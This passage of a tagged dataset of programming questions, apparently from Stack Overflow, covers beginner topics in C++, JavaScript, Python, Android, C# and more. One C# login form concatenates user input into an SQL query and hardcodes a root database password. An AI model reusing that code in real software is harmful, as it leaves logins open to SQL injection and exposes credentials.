&lt;&lt;endl;     cout&lt;&lt; ||                                                                           || &lt;&lt;endl;     cout&lt;&lt; =============================================================================== &lt;&lt;endl;     cout&lt;&lt; press any key to continue.... &lt;&lt;endl; }   // void menu() - ôóíêöèÿ âûâîäà ìåíþ íà ýêðàí void menu()  {        cout&lt;&lt; ||                              m e n u                                      || &lt;&lt;endl;     cout&lt;&lt; =============================================================================== &lt;&lt;endl;     cout&lt;&lt; || 1 ||      show pet s list                                                 || &lt;&lt;endl;     cout&lt;&lt; || 2 ||      enter new pet                                                   || &lt;&lt;endl;     cout&lt;&lt; || 3 ||      edit pet                                                        || &lt;&lt;endl;     cout&lt;&lt; || 4 ||      sort pets                                                       || &lt;&lt;endl;     cout&lt;&lt; || 5 ||      delete info                                                     || &lt;&lt;endl;     cout&lt;&lt; || 6 ||      find status                                                     || &lt;&lt;endl;     cout&lt;&lt; || 0 ||      quit                                                            || &lt;&lt;endl;      cout&lt;&lt; =============================================================================== &lt;&lt;endl;       cout&lt;&lt; enter number of the operation: &lt;&lt;endl; }  void main()      {     welcome();     getch();     system( cls );      menu();       getch(); } </code></pre>,c++
replace military time to normal time with javascript  with this script   <pre><code>getformattedtime = function (fourdigittime){ var hours24 = parseint(fourdigittime.substring(0 2)); var hours = ((hours24 + 11) % 12) + 1; var ampm = hours24 &gt; 11    pm  :  am ; var minutes = fourdigittime.substring(2);  return hours +  :  + minutes + ampm; }; </code></pre>   i can change 4 digit time to normal clock time (there is a problem with 0930 though..)    and with this   <pre><code>$( body ).html($( body ).html().replace(/1135/g  11:35am )); </code></pre>   to replace any occurange of 1135 in my page.    however  in my page  i have a list of time in tables. i need to convert them e.g.   <pre><code>class starts at 1700  please be there by 1630 and sign in by 1645. </code></pre>   it should translate into   <pre><code>class starts at 05:00pm  please be there by 04:30pm and sign in by 04:45pm. </code></pre>,javascript
program c simple little program mistake  it s just a simple program i made. not sure why it s not working  maybe you guys can help.    thanks in advance.    main.c:    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include  huntersinfo.h   int main() {      int girlsage = (age / 2) + 7;     printf( %s can date girls who are %d or older.\n   myname  girlsage);      return 0; } </code></pre>   huntersinfo.h:   <pre><code>#define myname  hunter shutt  #define age  14  </code></pre>,c
jquery how to check boxes from binary field  i have a form with 5 checkboxes.   <ul> <li>checkbox all</li> <li>checkbox 1</li> <li>checkbox 2</li> <li>checkbox 3</li> <li>checkbox 4</li> </ul>   from server i populate a table and i create in the  element an attribute:  data-options= 0101  .    i need to check my checkboxes depending on this binary values  so each position mean the checkbox index and the value could be 0 or 1 ( checked or unchecked).   <ul> <li>0101 means checkbox 2 and 4 are checked.</li> <li>1111 means all <code>checkboxe</code> s checked this  checkbox all  must be checked also.</li> </ul>  <blockquote>    any clue   </blockquote>,jquery
how to check if one of the following items is in a list   i m trying to find a short way to see if any of the following items is in a list  but my first attempt does not work. besides writing a function to accomplish this  is the any short way to check if one of multiple items is in a list.   <pre><code>&gt;&gt;&gt; a = [2 3 4] &gt;&gt;&gt; print (1 or 2) in a false &gt;&gt;&gt; print (2 or 1) in a true </code></pre>,python
how to differentiate a two digit number(65) from a character ( a )   i have an application which gets 10 different numbers (which are less than 100) as input. if any thing other than number is entered  it should display  invalid input     ex: if i enter  c  which is not a number between 1 to 100  program should display  invalid input     i don t want to compare the input with all the characters and special symbols    if the number is a single digit number  isdigit() or isalpha() does the job.    how can i solve this,c
bool operator in c++  here is a snippet of the code that i found on my beginner file:   <pre><code>struct triindex       //triangle index  {     int vertex;       //vertex     int normal;       //normal vecotr     int tcoord;       //      bool operator&lt;( const triindex&amp; rhs ) const {                                                       if ( vertex == rhs.vertex ) {             if ( normal == rhs.normal ) {                 return tcoord &lt; rhs.tcoord;             } else {                 return normal &lt; rhs.normal;             }         } else {             return vertex &lt; rhs.vertex;         }     } }; </code></pre>   i ve never seen a bool operator inside a struct before. can anyone explain this to me,c++
java: get ip adress of a server behind dns load balancer  i am connecting to a server from a client using hostname as below:-   <pre><code>    httppost post = new httppost(serverurl);     post.setentity(new stringentity(jsonrequeststring  contenttype.application_json));     httpresponse response = httpclient.execute(post);     int ret = response.getstatusline().getstatuscode(); </code></pre>   i am using <code>org.apache.http.*</code> packages. now the server is behind the dns load balancer with 8 unique ip addresses bound to the hostname. but i believe that all the requests in a single run of the jvm are going to the same ip address.    <ol> <li>is there a way to print the actual ip returned after dns resolution </li> <li>does jvm does local dns caching </li> </ol>   <strong>edit:</strong>    setting <code>networkaddress.cache.ttl</code> and <code>networkaddress.cache.negative.ttl</code> as 0 isn t working. either i am not setting them correct.   <pre><code>public static void main(string[] args) throws exception {     java.security.security.setproperty( networkaddress.cache.ttl    0 ); // no     // cache    java.security.security.setproperty( networkaddress.cache.negative.ttl    0 ); // no     while (true) {         system.out.println(inetaddress.getbyname( google.com ));         thread.sleep(100);     } </code></pre>   }    <strong>output:</strong>   <pre><code>google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 google.com/216.58.197.78 ........ ........ </code></pre>,java
how to go one step above in a folder path by using appdomain.currentdomain.basedirectory in c#  i am using <code>appdomain.currentdomain.basedirectory</code> and i want to go one step backwards but couldn t figure out how  below is the example     code :    <code>string path = appdomain.currentdomain.basedirectory;</code>    result :    <code> c:\\mainline code\\ixexpress\\.net applications\\ixtextindexbuilder\\ixtextindexbuilder\\bin\\debug\\ </code>    expected result:    <code> c:\\mainline code\\ixexpress\\.net applications\\ixtextindexbuilder\\ixtextindexbuilder\\bin </code>,c#
deleteing a row in sqlite in android  in my application i have a database in that i have 1 table containing 3 columns.i want to delete a row in the table bu using the id of that table..    i am using this code:   <pre><code>public long deletestory(int rowid)     {         system.out.println( pos= +rowid);         long del=db.delete(database_table  key_rowid +  = +rowid null);         system.out.println( edl= +del);         return del;     } </code></pre>   my database contains data:   <pre><code>id              heading                 description 1               fgghsgahs               tyfgjhdfsdks </code></pre>   but it is showing as nullpointer exception..i tried a lot   but i can t able to solve it.help me to solve this..thanks in advance.    my logcat is as follows:   <pre><code>12-22 10:34:50.796: i/system.out(1207): pppppppp=1 12-22 10:34:50.816: i/system.out(1207): pos=1 12-22 10:34:50.816: d/androidruntime(1207): shutting down vm 12-22 10:34:50.816: w/dalvikvm(1207): threadid=3: thread exiting with uncaught exception (group=0x4001b188) 12-22 10:34:50.816: e/androidruntime(1207): uncaught handler: thread main exiting due to uncaught exception 12-22 10:34:50.836: e/androidruntime(1207): java.lang.nullpointerexception 12-22 10:34:50.836: e/androidruntime(1207):     at com.newspaper.dbadapter.deletestory(dbadapter.java:89) 12-22 10:34:50.836: e/androidruntime(1207):     at com.newspaper.savedstoriesactivity.onoptionsitemselected(savedstoriesactivity.java:64) 12-22 10:34:50.836: e/androidruntime(1207):     at android.app.activity.onmenuitemselected(activity.java:2170) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.policy.impl.phonewindow.onmenuitemselected(phonewindow.java:730) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.view.menu.menuitemimpl.invoke(menuitemimpl.java:139) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.view.menu.menubuilder.performitemaction(menubuilder.java:855) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.view.menu.iconmenuview.invokeitem(iconmenuview.java:525) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.view.menu.iconmenuitemview.performclick(iconmenuitemview.java:122) 12-22 10:34:50.836: e/androidruntime(1207):     at android.view.view.ontouchevent(view.java:4179) 12-22 10:34:50.836: e/androidruntime(1207):     at android.widget.textview.ontouchevent(textview.java:6541) 12-22 10:34:50.836: e/androidruntime(1207):     at android.view.view.dispatchtouchevent(view.java:3709) 12-22 10:34:50.836: e/androidruntime(1207):     at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 12-22 10:34:50.836: e/androidruntime(1207):     at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.policy.impl.phonewindow$decorview.dispatchtouchevent(phonewindow.java:1643) 12-22 10:34:50.836: e/androidruntime(1207):     at android.view.viewroot.handlemessage(viewroot.java:1691) 12-22 10:34:50.836: e/androidruntime(1207):     at android.os.handler.dispatchmessage(handler.java:99) 12-22 10:34:50.836: e/androidruntime(1207):     at android.os.looper.loop(looper.java:123) 12-22 10:34:50.836: e/androidruntime(1207):     at android.app.activitythread.main(activitythread.java:4363) 12-22 10:34:50.836: e/androidruntime(1207):     at java.lang.reflect.method.invokenative(native method) 12-22 10:34:50.836: e/androidruntime(1207):     at java.lang.reflect.method.invoke(method.java:521) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:860) 12-22 10:34:50.836: e/androidruntime(1207):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:618) 12-22 10:34:50.836: e/androidruntime(1207):     at dalvik.system.nativestart.main(native method) </code></pre>,android
how do i discover the quarter of a given date  the following are the quarters for a financial year    <pre><code>april to june          - q1 july to sep            - q2 oct to dec             - q3 jan to march           - q4 </code></pre>   if the month of an input date lies as above i need the output for in terms of quarter number.    for example     if i give an input date (say <strong>january 2nd</strong>)   i need the output as <code>q4</code>.    if i give input as (<strong>jun 5</strong>)  output should give <code>q1</code>.    based on input date i need the quarter number.,c#
how to use modal by the help of shared module   i am trying to use a common modal in several components  for that i ahve created     testresultcomponent.ts and testresultcomponent.html => for modal    to use it in several components i have declared and exported in sharedmodule.ts as   <pre><code>  @ngmodule({     imports: [commonmodule  routermodule  formsmodule]      declarations: [searchcomponent  testresultcomponent]      exports: [searchcomponent  testresultcomponent]  }) </code></pre>   and in components where i need to use the modal i have used shared module.    but  i need to use    <pre><code> @viewchild( testmodal ) testmodal: testresultcomponent;  </code></pre>   in my directive  so i have imported the testresultcomponent explicitly like    <pre><code>import { testresultcomponent } from  ../../shared/test-result/test-result.component ; </code></pre>   but now i am getting error like   <pre><code>unexpected directive  testresultcomponent  imported by the module  sharedmodule . please add a @ngmodule annotation. </code></pre>   it may be due to i am using  testresultcomponent  again in every components by importing.     how can i fix this,angularjs
incorrect css left margin in ul  i am getting this strange left margin in my  tabs list.    i have not provided any margin. where does it come from       here is the screen. the incorrect area is marked in the red box.    thanks    <img src= https://i.stack.imgur.com/gvke9.png  alt= enter image description here >,css
remove punctuation at the end of a string c++  how do i remove a specific type of punctuation at the end of a string  i want to remove  -  a.k.a. hyphens. i only want to remove them at the end of the string. thanks.     update: user christophe has provided a good solution for those who are using anything less than c++11! the code is below:   <pre><code>for (int n=str.length(); n &amp;&amp; str[--n]== - ; str.resize(n)); </code></pre>,c++
c#  lbimqp.form1  does not contain a definition for  form1_load   please someone help me  i stuck at this error and i dont now how to fix it.    error code:  lbimqp.form1  does not contain a definition for  form1_load  and no extension method  form1_load  accepting a first argument of type  lbimqp.form1  could be found (are you missing a using directive or an assembly reference )    here my code:   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using mysql.data.mysqlclient;  namespace lbimqp {     public partial class form1 : form     {         mysqlconnection con = new mysqlconnection(@ data source=localhost;port=3306;initial catalog=lbimqp;user id=root;password= server1234  );         int i;         public form1()         {             initializecomponent();         }          private void login_click(object sender  eventargs e)         {             i = 0;             con.open();             mysqlcommand cmd = con.createcommand();             cmd.commandtype = commandtype.text;             cmd.commandtext =  select * from login where username=  +user.text+   and password=  +pass.text+   ;             cmd.executenonquery();             datatable dt = new datatable();             mysqldataadapter da = new mysqldataadapter(cmd);             da.fill(dt);             i = convert.toint32(dt.rows.count.tostring());              if (i == 0)             {                 wrong.text =  benutzername oder passwort ist falsch! ;             }             else             {                 this.hide();                 mainscreen ms = new mainscreen();                 ms.show();             }             con.close();         }         private void pass_textchanged(object sender  eventargs e)         {             pass.passwordchar =  * ;         }          private void exit_click(object sender  eventargs e)         {             this.close();         }     } } </code></pre>   i m getting this error at button1_click  and form1_load    it would be greatful when someone can help me please.,c#
how to get session in global.asax  i have value in session <strong>userid</strong>  i want to access this id in a function in global.asax if session expires i can get it in <strong>void session_end(object sender  eventargs e)</strong> other wise it showing error <strong>session state is not available in this context</strong>    what to do,asp.net
subtotals and total keeping the details  i have a table with invoices:   <pre><code>invoice_num  customer_id  usd 1              a          15.2 2              b           3.6 3              a         105.1 4              c           6.0 </code></pre>   i need a report showing all the records (invoices) and adding a subtotal per customer. i know how to do it if i just show the total per customer (with group by customer_id and with rollup) but i need to keep the details  so i can t group the lines. the desired output is:   <pre><code>invoice_num  customer_id   usd 1              a          15.2 3              a         105.1 total customer a         120.3 2              b           3.6 total customer b           3.6 4              c           6.0 total customer c           6.0 total customers          129.9 </code></pre>   thanks,mysql
is method overloading not possible <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2286312/method-overloading-in-objective-c >method overloading in objective-c </a>    </blockquote>     is method overloading not possible. i have two functions with the same name. when declared like the below i m etting errors.   <pre><code>-(rs232msg*)createmessage:(remote_message_id) nmessagenumber; -(rs232msg*)createmessage:(const uint8_t*) szmessagename; </code></pre>   when declared <code>-(rs232msg*)createmessage:(const uint8_t*) szmessagename;</code> i m not getting any errors. i also have two functions as the same name with different return type and argument.but its working fine and there is no error in its declaration. why is it so,objective-c
c++ how to erase from vector while iterating <pre><code>std::vector&lt;int *&gt;intlist; int *a = new int; *a = 3; int *b = new int; *b = 2; int *c = new int; *c = 1;  intlist.push_back(a); intlist.push_back(b); intlist.push_back(c);  std::vector&lt;int *&gt;::iterator it;  for (it = intlist.begin(); it != intlist.end();) {     int *a = (int*)*it;      if ((*a) == 2)     {         delete a;         intlist.erase(it);     }     else     {         ++it;     } } </code></pre>   this code crashes at the start of the for loop when something is erased from the vector. i do not understand why. i am using visual studio 2015 if that helps,c++
how can i listen to the output of a console command and react to it outside of the listener   i am listening to the output of a console command that i am executing as such:   <pre><code>process p = new system.diagnostics.process(); processstartinfo info = new system.diagnostics.processstartinfo();  info.filename =  cmd.exe ; info.redirectstandardinput = true; info.redirectstandardoutput = true; info.redirectstandarderror = true; info.useshellexecute = false; info.createnowindow = true;  p.outputdatareceived += new datareceivedeventhandler(     delegate (object sender  datareceivedeventargs e)     {         console.writeline( received data:   + e.data);         if (e.data ==  fail )         {             // i need to react to this outside the delegate              // e.g. stop the process and return &lt;false&gt;.         }     }  );  p.startinfo = info; p.start();  using (streamwriter sw = p.standardinput) {     if (sw.basestream.canwrite)     {         sw.writeline( echo hello world 1 );         sw.writeline( echo fail );         sw.writeline( echo hello world 2 );         sw.writeline( echo hello world 3 );         sw.writeline( exit );     } }  p.beginoutputreadline(); p.waitforexit(); </code></pre>   this works as expected  but here s what i don t know how to do: when the process produces the  fail  line into its output  i would like to react to this outside of the delegate  i.e. in the method that spawned the process. how can i do that  it seems to me that the only context that i have while in the delegate is the sender (which is the process) and the data produced.    i tried to have the delegate throw an exception and catch that in a try-catch block around the <code>p.start()</code> and all the other code  but the exception doesn t get caught.,c#
migration not running <blockquote>   <blockquote>      hey guys  i want to add twitter-oauth functionality to my work. i have installed  omniauth-twitter  gem. when i try to run my migration  this is the error message    </blockquote> </blockquote>  <pre><code>c:\sites\omniauth-tutorial&gt;rake db:migrate == 20160904075837 createusers: migrating      ====================================== -- create_table(:users) -- add_index(:users  :provider) rake aborted! standarderror: an error has occurred  this and all later migrations canceled:  sqlite3::sqlexception: no such table: main.users: create  index  index_users_on_ provider  on  users  ( provider ) c:/sites/omniauth-tutorial/db/migrate/20160904075837_create_users.rb:10:in `block in change  c:/sites/omniauth-tutorial/db/migrate/20160904075837_create_users.rb:3:in `change  c:in `migrate  activerecord::statementinvalid: sqlite3::sqlexception: no such table:  main.users: create  index  index_users_on_provider  on  users ( provider ) c:/sites/omniauth-tutorial/db/migrate/20160904075837_create_users.rb:10:in `block in change  c:/sites/omniauth-tutorial/db/migrate/20160904075837_create_users.rb:3:in `change  c:in `migrate  sqlite3::sqlexception: no such table: main.users c:/sites/omniauth-tutorial/db/migrate/20160904075837_create_users.rb:10:in `block in change  c:/sites/omniauth-tutorial/db/migrate/20160904075837_create_users.rb:3:in `change  c:in `migrate  tasks: top =&gt; db:migrate (see full trace by running task with --trace) </code></pre>  <blockquote>   <blockquote>      this is my migration file    </blockquote> </blockquote>  <pre><code>class createusers &lt; activerecord::migration   def change     create_table :users do |t|       t.string :provider  null: false       t.string :uid  null: false       t.string :name       t.string :location       t.string :image_url       t.string :url       add_index :users  :provider       add_index :users  :uid       add_index :users  [:provider  :uid]  unique: true        t.timestamps null: false     end   end end </code></pre>  <blockquote>   <blockquote>      pls any idea on how this can be solved       </blockquote> </blockquote>,ruby-on-rails
need to stop the date picker copying into the 2 textviews  i have 2 imagebuttons and 2 textviews. the following code writes the same date to the 2 textviews which i dont want  when i click one image button is meant to write to edittext1 and when the second is clicked it should write to edittext2     here is my code   <pre><code>public void selectdate(view view) {         dialogfragment newfragment = new selectdatefragment();         newfragment.show(getsupportfragmentmanager()   datepicker );     }        public void populatesetdate(int year  int month  int day) {         departdate = (textview)findviewbyid(r.id.edittext1);         departdate.settext(month+ / +day+ / +year);       }      public void populatesetdate1(int year1  int month1  int day1) {          returndate = (textview)findviewbyid(r.id.edittext2);         returndate.settext(month1+ / +day1+ / +year1);      }        public class selectdatefragment extends dialogfragment implements datepickerdialog.ondatesetlistener {         @override         public dialog oncreatedialog(bundle savedinstancestate) {             final calendar calendar = calendar.getinstance();             int yy = calendar.get(calendar.year);             int mm = calendar.get(calendar.month);             int dd = calendar.get(calendar.day_of_month);             return new datepickerdialog(getactivity()  this  yy  mm  dd);         }          public void ondateset(datepicker view  int yy  int mm  int dd) {             populatesetdate(yy  mm+1  dd);             populatesetdate1(yy  mm+1  dd);          } </code></pre>,android
php web service returning everything as a string  i have a very simple web service that makes a call to my mysql server and returns data. the problem is though that despite the field types on the database being set to the likes of <code>int</code>  <code>double</code> and <code>tinyint(1)</code> [<code>boolean</code>]  when i serialise the returned values everything comes out as a <code>string</code>.    is there a way to ensure the types are maintained from the mysql table     i am serialising into a class that looks like this   <pre><code>class myclassdto {     public $my_int;     public $my_double;     public $my_bool; } </code></pre>   i m using php 5.6 (it s what my hosting provides  so i can t change over to 7)  so from memory strongly typed variables aren t allowed.    the service is returning data which is always a good thing ;),php
how do you rebuild a xcode framework from source   i am trying to alter the awsiossdk framework so that it works for developing osx apps  and i need to rebuild the binaries after i edit the files.  but i don t know how to do this.    i have access to a src/ directory  which then has further directories of libraries  but there aren t any makefiles or configure scripts anywhere in the folders.,objective-c
user account of a website  i have 2 apps which realize different functions for accessing a same website. i hope i input the account name and password in one app then store somewhere  when i use another app access the same website  it will recognize the stored account info and log in automatically. is it possible     thanks    interdev,iphone
how can i assign a datasource to a generic list collection   i have a generic list  i.e. <code>list&lt;myclass&gt;</code>. here <code>myclass</code> contains two string properties.     how can i assign a datasource to the list collection,.net
python: can not reshape numpy.array  im using lsb to embed a message in an image    idea: for example: message in bit is: 01010 then i will all 100... to this message -> new message: 010101000....    here is my code:   <pre><code># num_lsbs: number of bits replaced: 1bit or 2bits  ... # cover_image_file: original image # stego_image_file: image file after embeded  def lsb(cover_img_file  msg_file  num_lsbs  stego_image_file):     #1. read cover_img_file      cover_img = imread(cover_img_file) # cover_img: numpy       #2.1 read msg_file     file_obj = open(msg_file   r )     msg = file_obj.read()     file_obj.close()      #2.2 conver msg to msg_bits     msg_bits = bitarray.bitarray()     msg_bits.fromstring(msg)      #2.3 add 100... to msg bit     max_num_bits = num_lsbs * cover_img.size      # check if there are enough spaces     if (len(msg_bits) &gt; max_num_bits - 1):         print  not enough spaces to embed          return      msg_bits.extend( 1  +  0  * (max_num_bits - len(msg_bits) - 1))       #2.4 convert msg_bits to msg img     str01 = msg_bits.to01()      msg_img = np.array ([int(str01[i:i + num_lsbs]  2) for i in range (0  len(msg_bits)                                                                 num_lsbs)]  dtype = np.uint8)     msg_img.reshape(cover_img.shape)     print  \n\n--------check shape--------\n      print cover_img.shape  cover_img.dtype     print msg_img.shape  msg_img.dtype                ^               |               |         #&lt;&lt;i can not reshape here&gt;&gt;     #3. embed msg img to cover img     stego_img = ((cover_img &gt;&gt; num_lsbs) &lt;&lt; num_lsbs) + msg_img      ........ </code></pre>   i can not reshape my msg_img i want its shape is like cover_img shape    here is the error:   <pre><code>&lt;ipython-input-2-82ce863f48cb&gt; in embed_lsb(cover_img_file  msg_file  num_lsbs  stego_image_file)      41       42     #3. embed msg img to cover img ---&gt; 43     stego_img = ((cover_img &gt;&gt; num_lsbs) &lt;&lt; num_lsbs) + msg_img      44       45     #4. save the stego img file  valueerror: operands could not be broadcast together with shapes (414 500 3) (621000 )  </code></pre>   can anyone help me thank in advance!!,python
tooltip for options_from_collection_for_select on rails  i have a collection of values showing in the dropdown. in the dropdown some of the text values are very lengthy  so am unable to view them completely. so i want to use a tooltip here  hence i can able to hover on the option then the complete value is shown.    code is given below:   <pre><code>&lt;%= select_tag(:book_id            options_from_collection_for_select(@books  :id  :name)                       multiple: true  id:  book_id ) %&gt; </code></pre>   can someone help me here !,ruby-on-rails
displaying an alert box on a web page   below is the code where i intend  to dispay an alert box from inside a data table. is there some special way i need to refer to the datatable    <pre><code>otable=$( #administrators ).datatable({      bprocessing : true       bserverside : true        sajaxsource :  http://localhost:8080/strutsdemo/administratoraction.do        spaginationtype :  full_numbers        bjqueryui : true       fnserverdata : function(ssource aodata fncallback){      /*var administrator_nm = $( #select1 ).val();                       var startswith = $( #select2 ).val();       var txt = $( #txt ).val();       alert(txt); */      var txt=$( #txtname );     alert(txt.val()); </code></pre>,jquery
href link not working in asp.net  href link not working in asp.net windows form. i have explained every thing in images. please help me. thanks in advance. <a href= https://i.stack.imgur.com/wr7lt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wr7lt.png  alt= main code section ></a>    <a href= https://i.stack.imgur.com/vuwjv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vuwjv.png  alt= error 1 ></a>    <a href= https://i.stack.imgur.com/1bjin.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1bjin.png  alt= error 2 ></a>,asp.net
toggle and overlap content in jquery  this is how i toggle content   <pre><code>$( #content ).hide();      $( .toggle ).click(function(){       if($(this).attr( class ) ==  toggle ){         $(this).removeclass( toggle );         $(this).addclass( add_active );     }else{         $(this).removeclass( add_active );         $(this).addclass( toggle );     }     $( #content ).slidetoggle( fast );     return false; }); </code></pre>   here is my jsfiddle: <a href= http://jsfiddle.net/4zrdb/  rel= nofollow >http://jsfiddle.net/4zrdb/</a>    like you can see the content below slides down according to the animation of the toggle. but i want the content that is revealed by the toggle to cover the other content  the #content should overlap the other content that is for now just pushed down.    any ideas how to do that,jquery
javascript undefined function  i am using electronic signature pad in my asp.net application. i want to popup a alert message if the epad is not connected.   <pre><code>function isepad() {             var epad;             epad = window.document.escapture1.connecteddevice;             alert(epad);             if (epad ==    ) {                 alert( sorry epad is not connected or drivers not installed );             }           } </code></pre>   in most of the machines it is working fine. in some machine the first alert is showing undefined value. i want to display the alert( sorry epad is not connected or drivers not installed ); if epad value is    or undefined,javascript
how to interpret this bit shift   i am reading something and i don t understand the meaning of the bit shift that stated below but i think it is basically programming question. i am reading a file and see this  <code>#define pin_gen   (((uint32_t)1)&lt;&lt;31)</code>  but i don t quite understand the meaning of <code>(((uint32_t)1)&lt;&lt;31)</code>. could somebody tell me what is the meaning of this,c
how does a category work   i m new to objective-c and need to extend a standard class of a framework with an instance variable plus accessors. i heard that this is done with a so called  category   which sounds pretty confusing to me. how does this basically work,objective-c
**key hash** for an android application **look like** whether its combination of numbers and alphabets or something  i just tried facebook integration with my android application they asked for key hashes. i just want to skip the test by giving some wrong number that works so just tell me how can i proceed for next step in facebook integration. <strong>key hash</strong> for an android application <strong>look like</strong> whether its combination of numbers and alphabets or something,android
how can i check device of simulator suitable for viewcontroller  i have 2 xib files design for iphone 4 and iphone 5. how can i check if i build simulator for iphone 4  it will displayed by iphone 4 design and also with iphone 5     (sorry about my bad english),ios
how do i get the rendered web page page from a url   i don t want just the source code. i want the rendered page. this is an important distinction that i apparently cannot make by simply searching google.    does anyone know how i can get the <strong>rendered</strong> page from a url     this needs to be done in java  hopefully without an extra library.,java
why can t my singleton class return a value that will stay in scope  stick with me. i m visually impaired  have never used this site before  and will probably not post this in precisely the format that you are all used to. i apologize for any unintentional faux pas s herein.    using objective-c in an ios project…    i have a singleton class  set up in what appears to be the usual way for objective-c. it is  in the main  a series of methods which accept nsstring values  interprets them  and return something else. in the code below  i m simplifying things to the barest minimum  to emphasize the problem i am having.    from the singleton class:   <pre><code>- (nsuinteger) assigncontrolstate:(nsstring *)state {     // excerpted for clarity...     return uicontrolstatenormal; // an example of what might be returned } </code></pre>   now  an instance of another class tries to use this method like so:   <pre><code>- (void) buttonsetup:(uibutton*)button {     [button settitle:@ something  forstate:[[singletonclass accesstoinstance] assigncontrolstate:@ normal ]]; } </code></pre>   this code actually works. however  when the system goes to draw the ui which includes the button whose title was set in this way  an exc_bad_access error occurs.    if the assigncontrolstate method is moved into the same class as the buttonsetup method  no error is generated.    i m guessing this is something about apple s memory management that i m not fully understanding  and how things go in and out of scope  but for the life of me  i can t figure out where i m going wrong.    hope someone can help. thanks.,objective-c
python function using appends with lists not very efficient  trying to write a function which takes input of 4 digit numbers and compares them  output of ys and ns to try and check if they are the same. eg 1234 and 1235 would output yyyn. at the minute it s very inefficient to keep using all these append commands. how could i simplify that    <pre><code>def func(): results=[] firstn= str(input( please enter a 4 digit number:  )) secondn= str(input( please enter a 4 digit number:  ))  listone= list(firstn) listtwo= list(secondn)   if listone[0]==listtwo[0]:     results.append( y )  else:     results.append( n )  if listone[1]==listtwo[1]:     results.append( y )  else:     results.append( n )  if listone[2]==listtwo[2]:     results.append( y )  else:     results.append( n )  if listone[3]==listtwo[3]:     results.append( y )  else:     results.append( n )   print(results) </code></pre>   furthermore  how can i validate this to just 4 digits for length and type ie. nothing more or less than a length of four / only numerical input  i have been researching into the len function but don t know how i can apply this to validate the input itself,python
increase qty by 1 if item already exists in cart  i want to use a foreach loop to loop through all products in the cart and if it exists and the user adds it to the cart again  it should increase that item s total by 1 but i am not sure how to implement this. what i want to happen is that if a user clicks  add to cart  on an item it gets added to the cart with quantity of 1. if they click  add to cart  again for the same item  it should change to quantity of 2 for that item.    <pre><code>    $product_id = $_post[ id ];      if (!isset($_session[ cart_array ])) {         $_session[ cart_array ] = array(              item_id  =&gt; $product_id               quantity  =&gt; 1         );     }     else {         if (in_array($product_id  $_session[ cart_array ])) {             // add 1 to items already in cart             $_session[ cart_array ] = $product_id .     .  item exists  add 1 ;         }         else {             array_push($_session[ cart_array ]  array(                  item_id  =&gt; $product_id                   quantity  =&gt; 1             ));         }     } </code></pre>   i have updated this question:     i have managed to get it to increase for only the first item in the array but need it to do the same for each item in the cart:   <pre><code>if(!isset($_session[ cart_array ])) {     $_session[ cart_array ] = array( item_id  =&gt; $product_id   quantity  =&gt; 1);          } else {               if(in_array($product_id  $_session[ cart_array ])) {                 $_session[ cart_array ]= array( item_id  =&gt; $product_id   quantity  =&gt; $_session[ cart_array ][ quantity ] + 1);                } else {           array_push($_session[ cart_array ]  array( item_id  =&gt; $product_id   quantity  =&gt; 1));              }     } </code></pre>,php
how to implement timer interruption in this code to count the amount of seconds of this fibonacci function   i need to implemet extern void start_stopper(void) and extern void end_stopper(). how implement these two functions so they will count properely the seconds of this program execution    <pre><code>#include &lt;stdio.h&gt; #include &lt;dos.h&gt;  extern void start_stopper(void);  unsigned long int fibo(int n) {   if (n &lt;= 1)     return 1;   else     return(fibo(n-1) + fibo(n-2));  } /* fibo */  extern double end_stopper();  void main(void)  {    unsigned long int fn;    unsigned int n;    double time_in_secs;     int i1  i2  result;     printf( enter an integer &lt;= 47 )\n );    scanf( %u   &amp;n);     system( time );    start_stopper();     fn = fibo(n);     system( time );     time_in_secs = end_stopper();     printf( fibo(%u) = %lu\n   n  fn);    printf( computation took %lf secs\n   time_in_secs);   } /* main */ </code></pre>,c
changing document.domain to completely other domain  i m trying to prove that changing document.domain can be used only for cross scripting on the same upper level domain. for example if i will try to change document.domain to  google.com  on page which is located on www.test.com i will get a security exception in ff. does anybody know where to locate an official proof of that,javascript
in mysql  how to i work around it not being able to use defined strings as an index   thinking the approach would be to create a hash of the string at a fixed length and then index the hash. if so  is there a way to do this within mysql  or does it require me to do some parts of the process outside of mysql.    database engine is innodb and here s info on the error i m getting that appears to be on target.    <a href= http://forums.techarena.in/software-development/1185285.htm  rel= nofollow >http://forums.techarena.in/software-development/1185285.htm</a>    basically trying to use a column that is a natural longtext key as a <a href= http://www.w3schools.com/sql/sql_unique.asp  rel= nofollow >unique constraint</a>  meaning that an insert transaction is rolled back if the column field is not unique. the column can be 80 to 150 thousand characters in length.,mysql
